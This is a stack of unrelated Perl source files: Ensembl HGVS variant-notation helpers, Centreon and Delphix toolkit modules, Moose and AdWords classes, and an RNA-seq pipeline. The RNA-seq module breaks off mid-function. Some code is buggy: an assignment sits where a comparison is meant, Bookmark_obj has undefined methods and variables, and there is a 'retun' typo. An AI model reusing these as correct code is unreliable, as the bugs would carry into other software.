$hgvs_notation->{alt} = "?";
$hgvs_notation->{type} = "";
}
elsif( $hgvs_notation->{type} eq "del"){
if( $hgvs_notation->{ref} =~/\w+/){
$hgvs_notation->{alt} = "del";
}
else{
$hgvs_notation = $self->_get_del_peptides($hgvs_notation);
}
}
elsif($hgvs_notation->{type} eq "fs"){
### only quote first ref peptide for frameshift
$hgvs_notation->{ref} = substr($hgvs_notation->{ref},0,3);
}
### 2012-08-31 - Ter now recommended in HGVS
if(defined $hgvs_notation->{ref}){ $hgvs_notation->{ref} =~ s/Xaa/Ter/g; }
if(defined $hgvs_notation->{alt}){ $hgvs_notation->{alt} =~ s/Xaa/Ter/g; }
return ($hgvs_notation);
}
### HGVS: remove common peptides/nucleotides from alt and ref strings & shift start/end accordingly
sub _clip_alleles {
my $hgvs_notation = shift;
my $check_alt = $hgvs_notation->{alt};
my $check_ref = $hgvs_notation->{ref};
my $check_start = $hgvs_notation->{start};
my $check_end = $hgvs_notation->{end};
## cache this - if stop needed later
$hgvs_notation->{original_ref} = $hgvs_notation->{ref};
## store identical trimmed seq
my $preseq;
print "can we clip : $check_ref & $check_alt\n" if $DEBUG ==1;
### strip same bases from start of string
for (my $p =0; $p <length ($hgvs_notation->{ref}); $p++){
my $check_next_ref = substr( $check_ref, 0, 1);
my $check_next_alt = substr( $check_alt, 0, 1);
if( defined $hgvs_notation->{'numbering'} && $hgvs_notation->{'numbering'} eq 'p' &&
$check_next_ref eq "*" && $check_next_alt eq "*"){
### stop re-created by variant - no protein change
$hgvs_notation->{type} = "=";
return($hgvs_notation);
}
if($check_next_ref eq $check_next_alt){
$check_start++;
$check_ref = substr( $check_ref, 1);
$check_alt = substr( $check_alt, 1);
$preseq .= $check_next_ref;
}
else{
last;
}
}
my $len = length ($check_ref);
#### strip same bases from end of string
for (my $q =0; $q < $len; $q++) {
my $check_next_ref = substr( $check_ref, -1, 1);
my $check_next_alt = substr( $check_alt, -1, 1);
if($check_next_ref eq $check_next_alt){
chop $check_ref;
chop $check_alt;
$check_end--;
}
else{
last;
}
}
## ammend positions & ref/alt
$hgvs_notation->{alt} = $check_alt;
$hgvs_notation->{ref} = $check_ref;
$hgvs_notation->{start} = $check_start;
$hgvs_notation->{end} = $check_end;
$hgvs_notation->{preseq} = $preseq ;
### check if clipping suggests a type change
## no protein change - use transcript level annotation
$hgvs_notation->{type} = "=" if( defined $hgvs_notation->{'numbering'} &&
$hgvs_notation->{'numbering'} eq 'p' &&
$hgvs_notation->{alt} eq $hgvs_notation->{ref});
### re-set as ins not delins
$hgvs_notation->{type} ="ins" if(length ($check_ref) == 0 && length ($check_alt) >= 1);
### re-set as del not delins
$hgvs_notation->{type} ="del" if(length ($check_ref) >=1 && length ($check_alt) == 0);
print "clipped : $check_ref & $check_alt\n" if $DEBUG ==1;
return $hgvs_notation;
}
#### HGVS: check allele lengths to look for frameshifts
sub _get_allele_length {
my $self = shift;
my $ref_length = 0;
my $alt_length = 0;
my $al_string = $self->allele_string();
my $ref_allele = (split/\//, $al_string)[0];
$ref_allele =~ s/\-//;
$ref_length = length $ref_allele;
my $alt_allele = $self->variation_feature_seq();
$alt_allele =~ s/\-//;
$alt_length = length $alt_allele;
return ($ref_length, $alt_length );
}
### HGVS: list first different peptide [may not be first changed codon]
sub _get_fs_peptides {
my $self = shift;
my $hgvs_notation = shift;
### get CDS with alt variant
my $alt_cds = $self->_get_alternate_cds();
return undef unless defined($alt_cds);
#### get new translation
my $alt_trans = $alt_cds->translate()->seq();
### get changed end (currently in single letter AA coding)
my $ref_trans = $self->transcript_variation->_peptide;
$ref_trans .= "*"; ## appending ref stop for checking purposes
$hgvs_notation->{start} = $self->transcript_variation->translation_start() ;
if( $hgvs_notation->{start} > length $alt_trans){ ## deletion of stop, no further AA in alt seq
$hgvs_notation->{alt} = "del";
$hgvs_notation->{type} = "del";
return $hgvs_notation;
}
while ($hgvs_notation->{start} <= length $alt_trans){
### frame shift may result in the same AA#
$hgvs_notation->{ref} = substr($ref_trans, $hgvs_notation->{start}-1, 1);
$hgvs_notation->{alt} = substr($alt_trans, $hgvs_notation->{start}-1, 1);
if($hgvs_notation->{ref} eq "*" && $hgvs_notation->{alt} eq "*"){
### variation at stop codon, but maintains stop codon - set to synonymous
$hgvs_notation->{type} = "=";
return ($hgvs_notation);
}
last if $hgvs_notation->{ref} ne $hgvs_notation->{alt};
$hgvs_notation->{start}++;
}
return ($hgvs_notation);
}
#### HGVS: if variant is an insertion, ref pep is initially "-", so seek AA before and after insertion
sub _get_surrounding_peptides {
my $self = shift;
my $ref_pos = shift;
my $original_ref = shift;
my $length = shift;
my $ref_trans = $self->transcript_variation->_peptide();
$ref_trans .= $original_ref
if defined $original_ref && $original_ref =~ /^\*/;
## can't find peptide after the end
return if length($ref_trans) <= $ref_pos ;
my $ref_string;
if(defined $length) {
$ref_string = substr($ref_trans, $ref_pos-1, $length);
}
else{
$ref_string = substr($ref_trans, $ref_pos-1 );
}
return ($ref_string);
}
#### HGVS: alternate CDS needed to check for new stop when variant disrupts 'reference' stop
sub _get_alternate_cds{
my $self = shift;
### get reference sequence
my $reference_cds_seq = $self->transcript_variation->_translateable_seq();
my $tv = $self->transcript_variation;
my $vf = $tv->variation_feature;
my $tr = $tv->transcript;
return undef unless defined($tv->cds_start) && defined($tv->cds_end());
### get sequences upstream and downstream of variant
my $upstream_seq = substr($reference_cds_seq, 0, ($tv->cds_start() -1) );
my $downstream_seq = substr($reference_cds_seq, ($tv->cds_end() ) );
### fix alternate allele if deletion or on opposite strand
my $alt_allele = $self->variation_feature_seq();
$alt_allele =~ s/\-//;
if($alt_allele && $vf->strand() != $tr->strand()){
reverse_comp(\$alt_allele) ;
}
### build alternate seq
my $alternate_seq = $upstream_seq . $alt_allele . $downstream_seq ;
$alternate_seq = $self->_trim_incomplete_codon($alternate_seq );
### create seq obj with alternative allele in the CDS sequence
my $alt_cds =Bio::PrimarySeq->new(-seq => $alternate_seq, -id => 'alt_cds', -alphabet => 'dna');
### append UTR if available as stop may be disrupted
my $utr = $self->transcript_variation->_three_prime_utr();
if (defined $utr) {
### append the UTR to the alternative CDS
$alt_cds->seq($alt_cds->seq() . $utr->seq());
}
else{
##warn "No UTR available for alternate CDS\n";
}
return $alt_cds;
}
### HGVS: if inserted string is identical to 3' reference sequence, describe as duplication
sub _check_for_peptide_duplication {
my $self = shift;
my $hgvs_notation = shift;
##### get reference sequence
my $reference_cds_seq = $self->transcript_variation->_translateable_seq();
my $reference_cds = Bio::PrimarySeq->new(-seq => $reference_cds_seq, -id => 'alt_cds', -alphabet => 'dna');
my $reference_trans = $reference_cds->translate()->seq();
##### get sequence upstream of variant - use hgvs start; may have been shifted
my $upstream_trans = substr($reference_trans, 0, ($hgvs_notation->{'start'} -1) );
print "Checking for peptide duplication: $hgvs_notation->{alt} vs $upstream_trans $hgvs_notation->{preseq} \n" if $DEBUG ==1;
$upstream_trans .= $hgvs_notation->{preseq} if defined $hgvs_notation->{preseq}; ## add back on anything previously chopped off ref allele
## Test whether alt peptide matches the reference sequence just before the variant
my $test_new_start = $hgvs_notation->{'start'} - length($hgvs_notation->{'alt'}) -1 ;
if( (length($upstream_trans) >= $test_new_start + length($hgvs_notation->{'alt'}) ) && $test_new_start >=0){
my $test_seq = substr($upstream_trans, $test_new_start, length($hgvs_notation->{'alt'}));
if ( $test_new_start >= 0 && $test_seq eq $hgvs_notation->{alt}) {
$hgvs_notation->{type} = 'dup';
$hgvs_notation->{end} = $hgvs_notation->{start} -1;
$hgvs_notation->{start} -= length($hgvs_notation->{alt});
## convert to 3 letter code
$hgvs_notation->{alt} = Bio::SeqUtils->seq3(Bio::PrimarySeq->new(-seq => $hgvs_notation->{alt}, -id => 'ref', -alphabet => 'protein')) || "";
}
}
return $hgvs_notation;
}
#### HGVS: if a stop is lost, seek the next in transcript & count number of extra AA's
sub _stop_loss_extra_AA{
my $self = shift;
my $ref_var_pos = shift; ### first effected AA - supply for frameshifts
my $test = shift;
return undef unless $ref_var_pos;
my $extra_aa;
### get the sequence with variant added
my $alt_cds = $self->_get_alternate_cds();
return undef unless defined($alt_cds);
### get new translation
my $alt_trans = $alt_cds->translate();
my $ref_temp = $self->transcript_variation->_peptide();
my $ref_len = length($ref_temp);
if($DEBUG==1){
print "alt translated:\n" . $alt_trans->seq() . "\n";
print "ref translated:\n$ref_temp\n";;
}
#### Find the number of residues that are translated until a termination codon is encountered
if ($alt_trans->seq() =~ m/\*/) {
if($DEBUG==1){print "Got $+[0] aa before stop, var event at $ref_var_pos \n";}
if(defined $test && $test eq "fs" ){
### frame shift - count from first AA effected by variant to stop
$extra_aa = $+[0] - $ref_var_pos;
if($DEBUG==1){ print "Stop change ($test): found $extra_aa amino acids before fs stop [ $+[0] - peptide ref_start: $ref_var_pos )]\n";}
}
else{
$extra_aa = $+[0] - 1 - $ref_len;
if($DEBUG==1){ print "Stop change (non-fs): found $extra_aa amino acids before next stop [ $+[0] - 1 -normal stop $ref_len)]\n";}
}
}
# A special case is if the first aa is a stop codon => don't display the number of residues until the stop codon
if(defined $extra_aa && $extra_aa >0){
return $extra_aa ;
}
else{
#warn "No stop found in alternate sequence\n";
return undef;
}
}
## doing this to stop final incomplete codons being guessed
sub _trim_incomplete_codon{
my $self = shift;
my $seq = shift;
return undef unless $seq;
my $full_length = length $seq;
my $keep_length = $full_length - $full_length % 3;
return $seq if $full_length = $keep_length ;
return substr($seq, 0, $keep_length);
}
## This is used for rare in-frame deletions removing an intron and part of both surrounding exons
sub _get_del_peptides{
my $self = shift;
my $hgvs_notation = shift;
### get CDS with alt variant
my $alt_cds = $self->_get_alternate_cds();
return undef unless defined($alt_cds);
#### get new translation
my $start = $self->transcript_variation->translation_start() - 1;
my $alt = substr($alt_cds->translate()->seq(), $start );
$hgvs_notation->{alt} = (split/\*/, $alt)[0];
### get changed end (currently in single letter AA coding)
$hgvs_notation->{ref} = substr($self->transcript->translate()->seq(), $start );
$hgvs_notation->{start} = $self->transcript_variation->translation_start() ;
$hgvs_notation = _clip_alleles($hgvs_notation);
## switch to 3 letter AA coding
$hgvs_notation->{alt} = Bio::SeqUtils->seq3(Bio::PrimarySeq->new(-seq => $hgvs_notation->{alt}, -id => 'ref', -alphabet => 'protein')) || "";
$hgvs_notation->{ref} = Bio::SeqUtils->seq3(Bio::PrimarySeq->new(-seq => $hgvs_notation->{ref}, -id => 'ref', -alphabet => 'protein')) || "";
return $hgvs_notation;
}
## HGVS counts from first different peptide,
## so check the sequence post variant and increment accordingly
sub _check_peptides_post_var{
my $self = shift;
my $hgvs_notation = shift;
## check peptides after deletion
my $post_pos = $hgvs_notation->{end}+1;
my $post_seq = $self->_get_surrounding_peptides(
$post_pos,
$hgvs_notation->{original_ref}
);
## if a stop is deleted and no sequence is available beyond to check, return
return $hgvs_notation unless defined $post_seq;
$hgvs_notation = _shift_3prime($hgvs_notation, $post_seq);
return $hgvs_notation;
}
## HGVS aligns changes 3' (alt string may look different at transcript level to genomic level)
## AAC[TG]TAT => AACT[GT]AT
## TTA[GGG]GGTTTA =>TTAGG[GGG]TTTA
sub _shift_3prime{
my $hgvs_notation = shift;
my $post_seq = shift;
my $seq_to_check;
if( $hgvs_notation->{type} eq 'ins'){
$seq_to_check = $hgvs_notation->{alt};
}
elsif ($hgvs_notation->{type} eq 'del'){
$seq_to_check = $hgvs_notation->{ref};
}
else{
return $hgvs_notation;
}
## return if nothing to check
return $hgvs_notation unless defined $post_seq && defined $seq_to_check;
## get length of pattern to check
my $deleted_length = (length $seq_to_check);
# warn "Checking $seq_to_check v $post_seq\n";
## move along sequence after deletion looking for match to start of deletion
for (my $n = 0; $n<= (length($post_seq) - $deleted_length); $n++ ){
## check each position in deletion/ following seq for match
my $check_next_del = substr( $seq_to_check, 0, 1);
my $check_next_post = substr( $post_seq, $n, 1);
if($check_next_del eq $check_next_post){
## move position of deletion along
$hgvs_notation->{start}++;
$hgvs_notation->{end}++;
## modify deleted sequence - remove start & append to end
$seq_to_check = substr($seq_to_check,1);
$seq_to_check .= $check_next_del;
}
else{
last;
}
}
## set new HGVS string
$hgvs_notation->{alt} = $seq_to_check if $hgvs_notation->{type} eq 'ins';
$hgvs_notation->{ref} = $seq_to_check if $hgvs_notation->{type} eq 'del';
return $hgvs_notation;
}
=head
# We haven't implemented support for these methods yet
sub hgvs_rna {
return _hgvs_generic(@_,'rna');
}
sub hgvs_mitochondrial {
return _hgvs_generic(@_,'mitochondrial');
}
=cut
sub _hgvs_generic {
my $self = shift;
my $reference = pop;
my $notation = shift;
#The rna and mitochondrial modes have not yet been implemented, so return undef in case we get a call to these
return undef if ($reference =~ m/rna|mitochondrial/);
my $sub = qq{hgvs_$reference};
$self->{$sub} = $notation if defined $notation;
unless ($self->{$sub}) {
# Use the transcript this VF is on as the reference feature
my $reference_feature = $self->feature;
# If we want genomic coordinates, the reference_feature should actually be the slice for the underlying seq_region
$reference_feature = $reference_feature->slice->seq_region_Slice if ($reference eq 'genomic');
# Calculate the HGVS notation on-the-fly and pass it to the TranscriptVariation in order to distribute the result to the other alleles
my $tv = $self->base_variation_feature_overlap;
my $vf = $self->base_variation_feature;
$tv->$sub($vf->get_all_hgvs_notations($reference_feature,substr($reference,0,1),undef,undef,$tv));
}
return $self->{$sub};
}
### HGVS: move variant to transcript slice
sub _var2transcript_slice_coords{
my ($self, $tr, $tv, $vf) = @_;
$tv ||= $self->base_variation_feature_overlap;
$tr ||= $tv->transcript;
$vf ||= $tv->base_variation_feature;
# what we want is VF coords relative to transcript feature slice
my ($tr_start, $tr_end) = ($tr->start, $tr->end);
my ($vf_start, $vf_end);
# same slice, easy and we don't need to use transfer
if($NO_TRANSFER || $tr->slice eq $vf->slice) {
# different transform depending on transcript strand
if($tr->strand < 1) {
# note we switch start/end here
# this also works in the case of insertions thankfully
($vf_start, $vf_end) = map {($tr_end - $_) + 1} ($vf->end, $vf->start);
}
else {
($vf_start, $vf_end) = map {($_ - $tr_start) + 1} ($vf->start, $vf->end);
}
}
# different slices used to fetch features
# have to use transfer for safety
else {
my $tr_vf = $vf->transfer($self->_transcript_feature_Slice($tr));
return undef unless $tr_vf;
($vf_start, $vf_end) = ($tr_vf->start, $tr_vf->end);
}
# Return undef if this VariationFeature does not fall within the supplied feature.
return undef if (
$vf_start < 1 ||
$vf_end < 1 ||
$vf_start > ($tr_end - $tr_start + 1) ||
$vf_end > ($tr_end - $tr_start + 1)
);
return( $vf_start , $vf_end, $self->_transcript_feature_Slice($tr));
}
### HGVS: get variant position in transcript
# intron:
# If the position is in an intron, the boundary position of the closest exon and
# a + or - offset into the intron is returned.
# Ordered by genome forward not 5' -> 3'
# upstream:
# If the position is 5' of the start codon, it is reported relative to the start codon
# (-1 being the last nucleotide before the 'A' of ATG).
#downstream:
# If the position is 3' pf the stop codon, it is reported with a '*' prefix and the offset
# from the start codon (*1 being the first nucleotide after the last position of the stop codon)
sub _get_cDNA_position {
my $self = shift;
my $position = shift; ### start or end of variation
my $tv = $self->base_variation_feature_overlap;
my $transcript = $tv->transcript();
my $strand = $transcript->strand();
#### TranscriptVariation start/stop coord relative to transcript
#### Switch to chromosome coordinates taking into account strand
$position = ( $strand > 0 ?
( $transcript->start() + $position - 1 ) :
( $transcript->end() - $position + 1));
# Get all exons sorted in positional order
my $exons = $tv->_sorted_exons();
my $n_exons = scalar(@$exons);
my $cdna_position;
# Loop over the exons and get the coordinates of the variation in exon+intron notation
for (my $i=0; $i<$n_exons; $i++) {
my $exon = $exons->[$i];
my ($exon_start, $exon_end) = ($exon->{start}, $exon->{end});
# Skip if the start point is beyond this exon
next if ($position > $exon_end);
# EXONIC: If the start coordinate is within this exon
if ($position >= $exon_start) {
# Get the cDNA start coordinate of the exon and add the number of nucleotides from the exon boundary to the variation
# If the transcript is in the opposite direction, count from the end instead
$cdna_position = $self->_exon_cdna_start($exon, $transcript) + (
$strand > 0 ?
( $position - $exon_start ) :
( $exon_end - $position )
);
last; #### last exon checked
}
## INTRONIC
# Else the start coordinate is between this exon and the previous one, determine which one is closest and get coordinates relative to that one
else {
my $prev_exon = $exons->[$i-1];
my $updist = ($position - $prev_exon->{end});
$updist =~ s/\-//; ## avoid problems with incomplete transcripts
my $downdist = ($exon_start - $position);
$downdist =~ s/\-//; ## avoid problems with incomplete transcripts
# If the distance to the upstream exon is the shortest, or equal and in the positive orientation, use that
if ($updist < $downdist || ($updist == $downdist && $strand >= 0)) {
# If the orientation is reversed, we should use the cDNA start and a '-' offset
$cdna_position = (
$strand >= 0 ?
$self->_exon_cdna_end($prev_exon, $transcript).'+' :
$self->_exon_cdna_start($prev_exon, $transcript).'-'
).$updist;
}
# Else if downstream is shortest...
else {
# If the orientation is reversed, we should use the cDNA end and a '+' offset
$cdna_position = (
$strand >= 0 ?
$self->_exon_cdna_start($exon, $transcript).'-' :
$self->_exon_cdna_end($exon, $transcript).'+'
).$downdist;
}
last; ## last exon checked
}
}
## this should not happen; potential refseq oddness
return undef unless $cdna_position;
# Shift the position to make it relative to the start & stop codons
my $start_codon = $transcript->cdna_coding_start();
my $stop_codon = $transcript->cdna_coding_end();
# Disassemble the cDNA coordinate into the exon and intron parts
### just built this now taking it appart again
my ($cdna_coord, $intron_offset) = $cdna_position =~ m/([0-9]+)([\+\-][0-9]+)?/;
# Start by correcting for the stop codon
if (defined($stop_codon) ){
if($cdna_coord > $stop_codon) {
# Get the offset from the stop codon
$cdna_coord -= $stop_codon;
# Prepend a * to indicate the position is in the 3' UTR
$cdna_coord = '*' . $cdna_coord;
}
elsif ( $cdna_coord eq $stop_codon && defined $intron_offset) {
$intron_offset =~ s/\+//g;
$cdna_coord ='' ;
# Prepend a * to indicate the position is in the 3' UTR
$cdna_coord = '*' . $cdna_coord;
}
}
if (defined($start_codon) && $cdna_coord !~/\*/) {
# If the position is beyond the start codon, add 1 to get the correct offset
$cdna_coord += ($cdna_coord >= $start_codon);
# Subtract the position of the start codon
$cdna_coord -= $start_codon;
}
else{
print "Checking non-coding transcript\n" if $DEBUG==1;
}
# Re-assemble the cDNA position [ return exon num & offset & direction for intron eg. 142+363]
$cdna_position = $cdna_coord . (defined($intron_offset) ? $intron_offset : '');
return $cdna_position;
}
# $exon->cdna_start doesn't cache
# so use our own method that does
sub _exon_cdna_start {
my ($self, $exon, $tr) = @_;
my $tr_stable_id = $tr->stable_id;
my $fc = $exon->{_variation_effect_feature_cache}->{$tr_stable_id} ||= {};
if(!exists($fc->{_cdna_start})) {
$fc->{_cdna_start} = $exon->cdna_start($tr);
}
return $fc->{_cdna_start};
}
sub _exon_cdna_end {
my ($self, $exon, $tr) = @_;
my $tr_stable_id = $tr->stable_id;
my $fc = $exon->{_variation_effect_feature_cache}->{$tr_stable_id} ||= {};
if(!exists($fc->{_cdna_end})) {
$fc->{_cdna_end} = $exon->cdna_end($tr);
}
return $fc->{_cdna_end};
}
# same for $transcript->feature_Slice
# need to be careful here in case the transcript has moved slice
# you never know!
sub _transcript_feature_Slice {
my ($self, $tr) = @_;
my $fc = $tr->{_variation_effect_feature_cache} ||= {};
# check that we haven't moved slice
my $curr_slice_ref = sprintf('%s', $tr->slice());
my $prev_slice_ref = $fc->{slice_ref};
if(
!exists($fc->{feature_Slice}) ||
$fc->{slice_ref} && $fc->{slice_ref} ne $curr_slice_ref
) {
# log the reference of this slice
$fc->{slice_ref} = $curr_slice_ref;
$fc->{feature_Slice} = $tr->feature_Slice();
}
return $fc->{feature_Slice};
}
1;
| willmclaren/ensembl-variation | modules/Bio/EnsEMBL/Variation/TranscriptVariationAllele.pm | Perl | apache-2.0 | 67,812 |
#
# Copyright 2022 Centreon (http://www.centreon.com/)
#
# Centreon is a full-fledged industry-strength solution that meets
# the needs in IT infrastructure and application monitoring for
# service performance.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
package cloud::azure::management::automation::mode::discovery;
use base qw(cloud::azure::management::monitor::mode::discovery);
use strict;
use warnings;
sub check_options {
my ($self, %options) = @_;
$self->SUPER::check_options(%options);
$self->{namespace} = 'Microsoft.Automation';
$self->{type} = 'automationAccounts';
}
1;
__END__
=head1 MODE
Azure Automation discovery.
=over 8
=item B<--resource-group>
Specify resource group.
=item B<--location>
Specify location.
=item B<--prettify>
Prettify JSON output.
=back
=cut
| centreon/centreon-plugins | cloud/azure/management/automation/mode/discovery.pm | Perl | apache-2.0 | 1,318 |
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# Copyright (c) 2015,2016 by Delphix. All rights reserved.
#
# Program Name : Bookmark_obj.pm
# Description : Delphix Engine bookmark object
# It's include the following classes:
# - Environment_obj - class which map a Delphix Engine bookmark API object
# Author : Marcin Przepiorowski
# Created : 02 Jul 2015 (v2.0.0)
#
package Bookmark_obj;
use warnings;
use strict;
use Data::Dumper;
use JSON;
use Toolkit_helpers qw (logger);
# constructor
# parameters
# - dlpxObject - connection to DE
# - debug - debug flag (debug on if defined)
sub new {
my $classname = shift;
my $dlpxObject = shift;
my $debug = shift;
logger($debug, "Entering Bookmark_obj::constructor",1);
my %bookmarks;
my $self = {
_bookmarks => \%bookmarks,
_dlpxObject => $dlpxObject,
_debug => $debug
};
bless($self,$classname);
$self->getEnvironmentList($debug);
return $self;
}
# Procedure getEnvironment
# parameters:
# - reference
# Return environment hash for specific environment reference
sub getEnvironment {
my $self = shift;
my $reference = shift;
logger($self->{_debug}, "Entering Environment_obj::getEnvironment",1);
my $environments = $self->{_environments};
return $environments->{$reference};
}
# Procedure getName
# parameters:
# - reference
# Return environment name for specific environment reference
sub getName {
my $self = shift;
my $reference = shift;
logger($self->{_debug}, "Entering Environment_obj::getName",1);
my $environments = $self->{_environments};
return $environments->{$reference}->{'name'};
}
# Procedure getEnvironmentByName
# parameters:
# - name - repository name
# Return environment reference for environment name
sub getEnvironmentByName {
my $self = shift;
my $name = shift;
my $ret;
logger($self->{_debug}, "Entering Environment_obj::getEnvironmentByName",1);
for my $envitem ( sort ( keys %{$self->{_environments}} ) ) {
if ( $self->getName($envitem) eq $name) {
$ret = $self->getEnvironment($envitem);
}
}
return $ret;
}
# Procedure getEnvironmentList
# parameters: none
# Load a list of bookmark objects from Delphix Engine
sub getBookmarkList
{
my $self = shift;
logger($self->{_debug}, "Entering Bookmark_obj::getBookmarkList",1);
my $operation = "resources/json/delphix/jetstream/bookmark";
my ($result, $result_fmt) = $self->{_dlpxObject}->getJSONResult($operation);
my @res = @{$result->{result}};
my $bookmarks = $self->{_bookmarks};
for my $envitem (@res) {
$environments->{$envitem->{reference}} = $envitem;
}
}
1; | delphix/dxtoolkit | lib/Container_obj.pm | Perl | apache-2.0 | 3,278 |
package Moose::Exception::MetaclassMustBeASubclassOfMooseMetaClass;
our $VERSION = '2.1404';
use Moose;
extends 'Moose::Exception';
with 'Moose::Exception::Role::Class';
sub _build_message {
my $self = shift;
"The Metaclass ".$self->class_name." must be a subclass of Moose::Meta::Class."
}
1;
| ray66rus/vndrv | local/lib/perl5/x86_64-linux-thread-multi/Moose/Exception/MetaclassMustBeASubclassOfMooseMetaClass.pm | Perl | apache-2.0 | 305 |
package Google::Ads::AdWords::v201402::SharedSetService::RequestHeader;
use strict;
use warnings;
{ # BLOCK to scope variables
sub get_xmlns { 'https://adwords.google.com/api/adwords/cm/v201402' }
__PACKAGE__->__set_name('RequestHeader');
__PACKAGE__->__set_nillable();
__PACKAGE__->__set_minOccurs();
__PACKAGE__->__set_maxOccurs();
__PACKAGE__->__set_ref();
use base qw(
SOAP::WSDL::XSD::Typelib::Element
Google::Ads::AdWords::v201402::SoapHeader
);
}
1;
=pod
=head1 NAME
Google::Ads::AdWords::v201402::SharedSetService::RequestHeader
=head1 DESCRIPTION
Perl data type class for the XML Schema defined element
RequestHeader from the namespace https://adwords.google.com/api/adwords/cm/v201402.
=head1 METHODS
=head2 new
my $element = Google::Ads::AdWords::v201402::SharedSetService::RequestHeader->new($data);
Constructor. The following data structure may be passed to new():
$a_reference_to, # see Google::Ads::AdWords::v201402::SoapHeader
=head1 AUTHOR
Generated by SOAP::WSDL
=cut
| gitpan/GOOGLE-ADWORDS-PERL-CLIENT | lib/Google/Ads/AdWords/v201402/SharedSetService/RequestHeader.pm | Perl | apache-2.0 | 1,023 |
#!/usr/bin/perl
package CQS::RNASeq;
use strict;
use warnings;
use File::Copy;
use File::Basename;
use List::Compare;
use CQS::PBS;
use CQS::FileUtils;
use CQS::StringUtils;
use CQS::ConfigUtils;
use CQS::SystemUtils;
use CQS::NGSCommon;
use CQS::ClassFactory;
require Exporter;
our @ISA = qw(Exporter);
our %EXPORT_TAGS = (
'all' => [
qw(tophat2 call_tophat2 tophat2_by_pbs get_tophat2_result call_RNASeQC cufflinks_by_pbs cuffmerge_by_pbs cuffdiff_by_pbs read_cufflinks_fpkm read_cuffdiff_significant_genes copy_and_rename_cuffdiff_file compare_cuffdiff miso_by_pbs novoalign shrimp2)
]
);
our @EXPORT = ( @{ $EXPORT_TAGS{'all'} } );
our $VERSION = '0.01';
use Cwd;
sub get_sorted_bam_prefix {
my ($oldbam) = @_;
my ( $filename, $dirs, $suffix ) = fileparse( $oldbam, qr/\.[^.]*/ );
return ( $filename . "_sorted" );
}
sub tophat2_by_pbs {
my ( $config, $section ) = @_;
my $obj = instantiate("Tophat2");
$obj->perform( $config, $section );
}
sub tophat2 {
tophat2_by_pbs(@_);
}
sub call_tophat2 {
tophat2_by_pbs(@_);
}
#get expected tophat2 result based on tophat2 definition
sub get_tophat2_map {
my ( $config, $section ) = @_;
my ( $result, $issource ) = get_raw_files2( $config, $section );
if ($issource) {
retun $result;
}
my $tophatsection = $config->{$section}{source_ref};
my $tophat_dir = $config->{$tophatsection}{target_dir} or die "${tophatsection}::target_dir not defined.";
my ( $logDir, $pbsDir, $resultDir ) = init_dir( $tophat_dir, 0 );
my %fqFiles = %{$result};
my $tpresult = {};
for my $sampleName ( keys %fqFiles ) {
my $bam = "${resultDir}/${sampleName}/accepted_hits.bam";
$tpresult->{$sampleName} = $bam;
}
return $tpresult;
}
sub call_RNASeQC {
my ( $config, $section ) = @_;
my ( $task_name, $path_file, $pbsDesc, $target_dir, $logDir, $pbsDir, $resultDir, $option ) = get_parameter( $config, $section );
my $transcript_gtf = get_param_file( $config->{$section}{transcript_gtf}, "transcript_gtf", 1 );
my $genome_fasta = get_param_file( $config->{$section}{genome_fasta}, "genome_fasta", 1 );
my $rnaseqc_jar = get_param_file( $config->{$section}{rnaseqc_jar}, "rnaseqc_jar", 1 );
my %tophat2map = %{ get_tophat2_map( $config, $section ) };
my $pbsFile = "${pbsDir}/${task_name}_RNASeQC.pbs";
my $log = $logDir . "/${task_name}_RNASeQC.log";
output_header( $pbsFile, $pbsDesc, $path_file, $log );
my $sampleFile = $resultDir . "/sample.list";
open( SF, ">$sampleFile" ) or die "Cannot create $sampleFile";
print SF "Sample ID\tBam File\tNotes\n";
for my $sampleName ( sort keys %tophat2map ) {
my $tophat2File = $tophat2map{$sampleName};
my $sortedBamFile = get_sorted_bam($tophat2File);
print OUT "if [ ! -e $sortedBamFile ];\n";
print OUT "then\n";
my ( $filename, $dirs, $suffix ) = fileparse( $tophat2File, qr/\.[^.]*/ );
my $sortedBamPrefix = get_sorted_bam_prefix($tophat2File);
print OUT " cd $dirs \n";
print OUT " samtools sort ${filename}${suffix} $sortedBamPrefix \n";
print OUT " samtools index ${sortedBamPrefix}.bam \n";
print OUT "fi\n\n";
print SF "${sampleName}\t${sortedBamFile}\t${sampleName}\n";
}
close SF;
print OUT "cd $resultDir \n";
print OUT "java -jar $rnaseqc_jar -s $sampleFile -t $transcript_gtf -r $genome_fasta -o . \n";
output_footer();
print "$pbsFile created\n";
}
sub cufflinks_by_pbs {
my ( $config, $section ) = @_;
my $obj = instantiate("Cufflinks");
$obj->perform( $config, $section );
}
sub cuffmerge_by_pbs {
my ( $config, $section ) = @_;
my $obj = instantiate("Cuffmerge");
$obj->perform( $config, $section );
}
sub cuffdiff_by_pbs {
my ( $config, $section ) = @_;
my $obj = instantiate("Cuffdiff");
$obj->perform( $config, $section );
}
sub check_is_single() {
my ( $sampleNameCount, @sampleFiles ) = @_;
my $sampleFileCount = scalar(@sampleFiles);
my $isSingle = 1;
if ( $sampleNameCount == $sampleFileCount ) {
$isSingle = 1;
}
elsif ( $sampleNameCount * 2 == $sampleFileCount ) {
$isSingle = 0;
}
else {
die "Count of SampleName should be equals to count/half count of SampleFiles";
}
return ($isSingle);
}
sub read_cufflinks_fpkm {
my $genefile = shift;
open GF, "<$genefile" or die "Cannot open file $genefile";
my $header = <GF>;
my @headers = split( /\t/, $header );
my ($geneindex) = grep { $headers[$_] eq "gene_id" } 0 .. $#headers;
my ($fpkmindex) = grep { $headers[$_] eq "FPKM" } 0 .. $#headers;
my $result = {};
while ( my $line = <GF> ) {
my @values = split( /\t/, $line );
$result->{ $values[$geneindex] } = $values[$fpkmindex];
}
close(GF);
return $result;
}
sub read_cuffdiff_significant_genes {
my $file = shift;
my $result = {};
open IN, "<$file" or die "Cannot open file $file";
my $header = <IN>;
chomp($header);
while ( my $line = <IN> ) {
